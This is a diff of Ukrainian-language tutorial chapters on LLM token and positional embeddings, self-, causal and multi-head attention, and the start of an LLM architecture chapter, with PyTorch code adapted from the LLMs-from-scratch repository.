||||
|
||||
* **Розмір партії:** 8 (кількість зразків, що обробляються одночасно)
|
||||
* **Максимальна довжина послідовності:** 4 (кількість токенів на зразок)
|
||||
* **Розміри вбудовування:** 256
|
||||
|
||||
**Структура даних:**
|
||||
|
||||
* Кожна партія представлена як 3D тензор з формою `(batch_size, max_length, embedding_dim)`.
|
||||
* Для нашого прикладу форма буде `(8, 4, 256)`.
|
||||
|
||||
**Візуалізація:**
|
||||
```css
|
||||
cssCopy codeBatch
|
||||
┌─────────────┐
|
||||
│ Sample 1 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ Sample 2 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ ... │
|
||||
│ Sample 8 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
└─────────────┘
|
||||
```
|
||||
**Пояснення:**
|
||||
|
||||
* Кожен токен у послідовності представлений 256-вимірним вектором.
|
||||
* Модель обробляє ці вектори для вивчення мовних патернів та генерації прогнозів.
|
||||
|
||||
## **Позиційні вектори: Додавання контексту до токенів**
|
||||
|
||||
Хоча токенові вектори захоплюють значення окремих токенів, вони не закодовані за замовчуванням для позиції токенів у послідовності. Розуміння порядку токенів є критично важливим для розуміння мови. Тут на допомогу приходять **позиційні вектори**.
|
||||
|
||||
### **Чому потрібні позиційні вектори:**
|
||||
|
||||
* **Порядок токенів має значення:** У реченнях значення часто залежить від порядку слів. Наприклад, "Кіт сидів на килимку" проти "Килимок сидів на коті."
|
||||
* **Обмеження векторів:** Без позиційної інформації модель розглядає токени як "мішок слів", ігноруючи їх послідовність.
|
||||
|
||||
### **Типи позиційних векторів:**
|
||||
|
||||
1. **Абсолютні позиційні вектори:**
|
||||
* Призначають унікальний вектор позиції для кожної позиції в послідовності.
|
||||
* **Приклад:** Перший токен у будь-якій послідовності має той самий позиційний вектор, другий токен має інший і так далі.
|
||||
* **Використовується:** Моделями GPT від OpenAI.
|
||||
2. **Відносні позиційні вектори:**
|
||||
* Кодують відносну відстань між токенами, а не їх абсолютні позиції.
|
||||
* **Приклад:** Вказують, наскільки далеко один токен від іншого, незалежно від їх абсолютних позицій у послідовності.
|
||||
* **Використовується:** Моделями, такими як Transformer-XL та деякими варіантами BERT.
|
||||
|
||||
### **Як інтегруються позиційні вектори:**
|
||||
|
||||
* **Ті ж розміри:** Позиційні вектори мають таку ж розмірність, як токенові вектори.
|
||||
* **Додавання:** Вони додаються до токенових векторів, поєднуючи ідентичність токенів з позиційною інформацією без збільшення загальної розмірності.
|
||||
|
||||
**Приклад додавання позиційних векторів:**
|
||||
|
||||
Припустимо, вектор токена дорівнює `[0.5, -0.2, 0.1]`, а його позиційний вектор дорівнює `[0.1, 0.3, -0.1]`. Об'єднаний вектор, що використовується моделлю, буде:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
= [0.6, 0.1, 0.0]
|
||||
```
|
||||
**Переваги позиційних векторів:**
|
||||
|
||||
* **Контекстуальна обізнаність:** Модель може розрізняти токени на основі їхніх позицій.
|
||||
* **Розуміння послідовності:** Дозволяє моделі розуміти граматику, синтаксис та значення, що залежать від контексту.
|
||||
|
||||
## Код приклад
|
||||
|
||||
Наступний код приклад з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Use previous code...
|
||||
|
||||
# Create dimensional emdeddings
|
||||
"""
|
||||
BPE uses a vocabulary of 50257 words
|
||||
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
|
||||
"""
|
||||
|
||||
vocab_size = 50257
|
||||
output_dim = 256
|
||||
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
|
||||
|
||||
## Generate the dataloader like before
|
||||
max_length = 4
|
||||
dataloader = create_dataloader_v1(
|
||||
raw_text, batch_size=8, max_length=max_length,
|
||||
stride=max_length, shuffle=False
|
||||
)
|
||||
data_iter = iter(dataloader)
|
||||
inputs, targets = next(data_iter)
|
||||
|
||||
# Apply embeddings
|
||||
token_embeddings = token_embedding_layer(inputs)
|
||||
print(token_embeddings.shape)
|
||||
torch.Size([8, 4, 256]) # 8 x 4 x 256
|
||||
|
||||
# Generate absolute embeddings
|
||||
context_length = max_length
|
||||
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
|
||||
|
||||
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
|
||||
|
||||
input_embeddings = token_embeddings + pos_embeddings
|
||||
print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
```
|
||||
## Посилання
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
420
todo/llm-training-data-preparation/4.-attention-mechanisms.md
Normal file
|
@ -0,0 +1,420 @@
|
|||
# 4. Механізми уваги
|
||||
|
||||
## Механізми уваги та самоувага в нейронних мережах
|
||||
|
||||
Механізми уваги дозволяють нейронним мережам **зосереджуватися на конкретних частинах вхідних даних під час генерації кожної частини виходу**. Вони призначають різні ваги різним вхідним даним, допомагаючи моделі вирішити, які вхідні дані є найбільш релевантними для поставленого завдання. Це є критично важливим у таких завданнях, як машинний переклад, де розуміння контексту всього речення необхідне для точного перекладу.
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього четвертого етапу дуже проста: **застосувати деякі механізми уваги**. Це будуть багато **повторюваних шарів**, які **захоплять зв'язок слова у словнику з його сусідами в поточному реченні, що використовується для навчання LLM**.\
|
||||
Для цього використовується багато шарів, тому багато навчальних параметрів будуть захоплювати цю інформацію.
|
||||
{% endhint %}
|
||||
|
||||
### Розуміння механізмів уваги
|
||||
|
||||
У традиційних моделях послідовність-до-послідовності, що використовуються для перекладу мов, модель кодує вхідну послідовність у вектор контексту фіксованого розміру. Однак цей підхід має труднощі з довгими реченнями, оскільки вектор контексту фіксованого розміру може не захоплювати всю необхідну інформацію. Механізми уваги вирішують це обмеження, дозволяючи моделі враховувати всі вхідні токени під час генерації кожного вихідного токена.
|
||||
|
||||
#### Приклад: Машинний переклад
|
||||
|
||||
Розглянемо переклад німецького речення "Kannst du mir helfen diesen Satz zu übersetzen" на англійську. Переклад слово за словом не дасть граматично правильного англійського речення через відмінності в граматичних структурах між мовами. Механізм уваги дозволяє моделі зосередитися на релевантних частинах вхідного речення під час генерації кожного слова вихідного речення, що призводить до більш точного та узгодженого перекладу.
|
||||
|
||||
### Вступ до самоуваги
|
||||
|
||||
Самоувага, або внутрішня увага, є механізмом, де увага застосовується в межах однієї послідовності для обчислення представлення цієї послідовності. Це дозволяє кожному токену в послідовності звертатися до всіх інших токенів, допомагаючи моделі захоплювати залежності між токенами незалежно від їх відстані в послідовності.
|
||||
|
||||
#### Ключові концепції
|
||||
|
||||
* **Токени**: Окремі елементи вхідної послідовності (наприклад, слова в реченні).
|
||||
* **Векторні представлення**: Векторні представлення токенів, що захоплюють семантичну інформацію.
|
||||
* **Ваги уваги**: Значення, які визначають важливість кожного токена відносно інших.
|
||||
|
||||
### Обчислення ваг уваги: покроковий приклад
|
||||
|
||||
Розглянемо речення **"Hello shiny sun!"** і представимо кожне слово з 3-вимірним векторним представленням:
|
||||
|
||||
* **Hello**: `[0.34, 0.22, 0.54]`
|
||||
* **shiny**: `[0.53, 0.34, 0.98]`
|
||||
* **sun**: `[0.29, 0.54, 0.93]`
|
||||
|
||||
Наша мета - обчислити **вектор контексту** для слова **"shiny"** за допомогою самоуваги.
|
||||
|
||||
#### Крок 1: Обчислення оцінок уваги
|
||||
|
||||
{% hint style="success" %}
|
||||
Просто помножте кожне значення виміру запиту на відповідне значення кожного токена і додайте результати. Ви отримуєте 1 значення для кожної пари токенів.
|
||||
{% endhint %}
|
||||
|
||||
Для кожного слова в реченні обчисліть **оцінку уваги** відносно "shiny", обчисливши скалярний добуток їх векторних представлень.
|
||||
|
||||
**Оцінка уваги між "Hello" та "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Оцінка уваги між "shiny" та "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Оцінка уваги між "sun" та "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
#### Крок 2: Нормалізація оцінок уваги для отримання ваг уваги
|
||||
|
||||
{% hint style="success" %}
|
||||
Не губіться в математичних термінах, мета цієї функції проста, нормалізувати всі ваги так, щоб **вони в сумі давали 1**.
|
||||
|
||||
Крім того, **функція softmax** використовується, оскільки вона підкреслює відмінності завдяки експоненціальній частині, що полегшує виявлення корисних значень.
|
||||
{% endhint %}
|
||||
|
||||
Застосуйте **функцію softmax** до оцінок уваги, щоб перетворити їх на ваги уваги, які в сумі дають 1.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
Обчислення експонент:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
Обчислення суми:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Обчислення ваг уваги:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### Крок 3: Обчислення вектора контексту
|
||||
|
||||
{% hint style="success" %}
|
||||
Просто візьміть кожну вагу уваги і помножте її на відповідні вимірювання токена, а потім складіть всі вимірювання, щоб отримати лише 1 вектор (вектор контексту) 
|
||||
{% endhint %}
|
||||
|
||||
**Вектор контексту** обчислюється як зважена сума векторних представлень усіх слів, використовуючи ваги уваги.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
||||
|
||||
Обчислення кожного компонента:
|
||||
|
||||
* **Зважене векторне представлення "Hello"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **Зважене векторне представлення "shiny"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **Зважене векторне представлення "sun"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Сумуючи зважені векторні представлення:
|
||||
|
||||
`вектор контексту=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**Цей вектор контексту представляє збагачене векторне представлення для слова "shiny", включаючи інформацію з усіх слів у реченні.**
|
||||
|
||||
### Підсумок процесу
|
||||
|
||||
1. **Обчисліть оцінки уваги**: Використовуйте скалярний добуток між векторним представленням цільового слова та векторними представленнями всіх слів у послідовності.
|
||||
2. **Нормалізуйте оцінки для отримання ваг уваги**: Застосуйте функцію softmax до оцінок уваги, щоб отримати ваги, які в сумі дають 1.
|
||||
3. **Обчисліть вектор контексту**: Помножте векторне представлення кожного слова на його вагу уваги та складіть результати.
|
||||
|
||||
## Самоувага з навчальними вагами
|
||||
|
||||
На практиці механізми самоуваги використовують **навчальні ваги** для навчання найкращих представлень для запитів, ключів і значень. Це передбачає введення трьох матриць ваг:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
Запит - це дані, які використовуються, як і раніше, тоді як матриці ключів і значень - це просто випадкові навчальні матриці.
|
||||
|
||||
#### Крок 1: Обчислення запитів, ключів і значень
|
||||
|
||||
Кожен токен матиме свою власну матрицю запиту, ключа та значення, множачи свої значення вимірювання на визначені матриці:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
Ці матриці перетворюють оригінальні векторні представлення в новий простір, придатний для обчислення уваги.
|
||||
|
||||
**Приклад**
|
||||
|
||||
Припустимо:
|
||||
|
||||
* Вхідний розмір `din=3` (розмір векторного представлення)
|
||||
* Вихідний розмір `dout=2` (бажаний розмір для запитів, ключів і значень)
|
||||
|
||||
Ініціалізуйте матриці ваг:
|
||||
```python
|
||||
import torch.nn as nn
|
||||
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
|
||||
W_query = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_key = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_value = nn.Parameter(torch.rand(d_in, d_out))
|
||||
```
|
||||
Обчисліть запити, ключі та значення:
|
||||
```python
|
||||
queries = torch.matmul(inputs, W_query)
|
||||
keys = torch.matmul(inputs, W_key)
|
||||
values = torch.matmul(inputs, W_value)
|
||||
```
|
||||
#### Step 2: Compute Scaled Dot-Product Attention
|
||||
|
||||
**Compute Attention Scores**
|
||||
|
||||
Схоже на приклад з попереднього разу, але цього разу, замість використання значень вимірів токенів, ми використовуємо матрицю ключів токена (яка вже була обчислена за допомогою вимірів):. Отже, для кожного запиту `qi` та ключа `kj`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Scale the Scores**
|
||||
|
||||
Щоб запобігти тому, щоб скалярні добутки не ставали занадто великими, масштабуйте їх за квадратним коренем розміру ключа `dk`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Оцінка ділиться на квадратний корінь розмірів, оскільки скалярні добутки можуть ставати дуже великими, і це допомагає їх регулювати.
|
||||
{% endhint %}
|
||||
|
||||
**Apply Softmax to Obtain Attention Weights:** Як у початковому прикладі, нормалізуйте всі значення так, щоб їхня сума дорівнювала 1. 
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### Step 3: Compute Context Vectors
|
||||
|
||||
Як у початковому прикладі, просто складіть усі матриці значень, помноживши кожну з них на її вагу уваги:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
### Code Example
|
||||
|
||||
Взявши приклад з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), ви можете перевірити цей клас, який реалізує функціональність самостійної уваги, про яку ми говорили:
|
||||
```python
|
||||
import torch
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
import torch.nn as nn
|
||||
class SelfAttention_v2(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
|
||||
def forward(self, x):
|
||||
keys = self.W_key(x)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.T
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
d_in=3
|
||||
d_out=2
|
||||
torch.manual_seed(789)
|
||||
sa_v2 = SelfAttention_v2(d_in, d_out)
|
||||
print(sa_v2(inputs))
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Зверніть увагу, що замість ініціалізації матриць випадковими значеннями, використовується `nn.Linear`, щоб позначити всі ваги як параметри для навчання.
|
||||
{% endhint %}
|
||||
|
||||
## Причинна Увага: Приховування Майбутніх Слів
|
||||
|
||||
Для LLM ми хочемо, щоб модель враховувала лише токени, які з'являються перед поточною позицією, щоб **прогнозувати наступний токен**. **Причинна увага**, також відома як **замаскована увага**, досягає цього, модифікуючи механізм уваги, щоб запобігти доступу до майбутніх токенів.
|
||||
|
||||
### Застосування Маски Причинної Уваги
|
||||
|
||||
Щоб реалізувати причинну увагу, ми застосовуємо маску до оцінок уваги **перед операцією softmax**, щоб залишкові значення все ще складали 1. Ця маска встановлює оцінки уваги майбутніх токенів на негативну нескінченність, забезпечуючи, що після softmax їх ваги уваги дорівнюють нулю.
|
||||
|
||||
**Кроки**
|
||||
|
||||
1. **Обчислити Оцінки Уваги**: Так само, як і раніше.
|
||||
2. **Застосувати Маску**: Використовуйте верхню трикутну матрицю, заповнену негативною нескінченністю вище діагоналі.
|
||||
|
||||
```python
|
||||
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
|
||||
masked_scores = attention_scores + mask
|
||||
```
|
||||
3. **Застосувати Softmax**: Обчисліть ваги уваги, використовуючи замасковані оцінки.
|
||||
|
||||
```python
|
||||
attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
```
|
||||
|
||||
### Маскування Додаткових Ваг Уваги з Допомогою Dropout
|
||||
|
||||
Щоб **запобігти перенавчанню**, ми можемо застосувати **dropout** до ваг уваги після операції softmax. Dropout **випадковим чином обнуляє деякі з ваг уваги** під час навчання.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
```
|
||||
Звичайний dropout становить близько 10-20%.
|
||||
|
||||
### Code Example
|
||||
|
||||
Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb):
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
batch = torch.stack((inputs, inputs), dim=0)
|
||||
print(batch.shape)
|
||||
|
||||
class CausalAttention(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, context_length,
|
||||
dropout, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.d_out = d_out
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # This generates the keys of the tokens
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
|
||||
attn_scores.masked_fill_( # New, _ ops are in-place
|
||||
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
|
||||
attn_weights = torch.softmax(
|
||||
attn_scores / keys.shape[-1]**0.5, dim=-1
|
||||
)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
context_length = batch.shape[1]
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
ca = CausalAttention(d_in, d_out, context_length, 0.0)
|
||||
|
||||
context_vecs = ca(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## Розширення одноголової уваги до багатоголової уваги
|
||||
|
||||
**Багатоголова увага** на практиці полягає в виконанні **декількох екземплярів** функції самостійної уваги, кожен з яких має **свої власні ваги**, тому розраховуються різні фінальні вектори.
|
||||
|
||||
### Приклад коду
|
||||
|
||||
Можливо, можна повторно використовувати попередній код і просто додати обгортку, яка запускає його кілька разів, але це більш оптимізована версія з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), яка обробляє всі голови одночасно (зменшуючи кількість витратних циклів). Як ви можете бачити в коді, розміри кожного токена діляться на різні розміри відповідно до кількості голів. Таким чином, якщо токен має 8 розмірів і ми хочемо використовувати 3 голови, розміри будуть поділені на 2 масиви по 4 розміри, і кожна голова використовуватиме один з них:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert (d_out % num_heads == 0), \
|
||||
"d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer(
|
||||
"mask",
|
||||
torch.triu(torch.ones(context_length, context_length),
|
||||
diagonal=1)
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
batch_size, context_length, d_in = batch.shape
|
||||
d_out = 2
|
||||
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
|
||||
|
||||
context_vecs = mha(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
|
||||
```
|
||||
Для ще однієї компактної та ефективної реалізації ви можете використовувати клас [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) у PyTorch.
|
||||
|
||||
{% hint style="success" %}
|
||||
Коротка відповідь ChatGPT про те, чому краще розділити виміри токенів між головами, замість того, щоб кожна голова перевіряла всі виміри всіх токенів:
|
||||
|
||||
Хоча дозволити кожній голові обробляти всі вимірювання вбудовування може здаватися вигідним, оскільки кожна голова матиме доступ до всієї інформації, стандартна практика полягає в тому, щоб **розділити вимірювання вбудовування між головами**. Цей підхід забезпечує баланс між обчислювальною ефективністю та продуктивністю моделі та заохочує кожну голову вивчати різноманітні представлення. Тому розподіл вимірювань вбудовування зазвичай є кращим, ніж те, щоб кожна голова перевіряла всі виміри.
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
667
todo/llm-training-data-preparation/5.-llm-architecture.md
Normal file
|
@ -0,0 +1,667 @@
|
|||
# 5. LLM Architecture
|
||||
|
||||
## LLM Architecture
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього п'ятого етапу дуже проста: **Розробити архітектуру повного LLM**. З'єднайте все разом, застосуйте всі шари та створіть усі функції для генерації тексту або перетворення тексту в ID та назад.
|
||||
|
||||
Ця архітектура буде використовуватися як для навчання, так і для прогнозування тексту після його навчання.
|
||||
{% endhint %}
|
||||
|
||||
LLM architecture example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
|
||||
|
||||
A high level representation can be observed in:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
|
||||
1. **Input (Tokenized Text)**: Процес починається з токенізованого тексту, який перетворюється на числові представлення.
|
||||
2. **Token Embedding and Positional Embedding Layer**: Токенізований текст проходить через **шар вбудовування токенів** та **шар позиційного вбудовування**, який захоплює позицію токенів у послідовності, що є критично важливим для розуміння порядку слів.
|
||||
3. **Transformer Blocks**: Модель містить **12 блоків трансформера**, кожен з яких має кілька шарів. Ці блоки повторюють наступну послідовність:
|
||||
* **Masked Multi-Head Attention**: Дозволяє моделі зосереджуватися на різних частинах вхідного тексту одночасно.
|
||||
* **Layer Normalization**: Крок нормалізації для стабілізації та покращення навчання.
|
||||
* **Feed Forward Layer**: Відповідає за обробку інформації з шару уваги та прогнозування наступного токена.
|
||||
* **Dropout Layers**: Ці шари запобігають перенавчанню, випадковим чином відключаючи одиниці під час навчання.
|
||||
4. **Final Output Layer**: Модель виводить **тензор розміром 4x50,257**, де **50,257** представляє розмір словника. Кожен рядок у цьому тензорі відповідає вектору, який модель використовує для прогнозування наступного слова в послідовності.
|
||||
5. **Goal**: Мета полягає в тому, щоб взяти ці вбудовування та перетворити їх назад у текст. Конкретно, останній рядок виходу використовується для генерації наступного слова, представленого як "вперед" у цій діаграмі.
|
||||
|
||||
### Code representation
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import tiktoken
|
||||
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
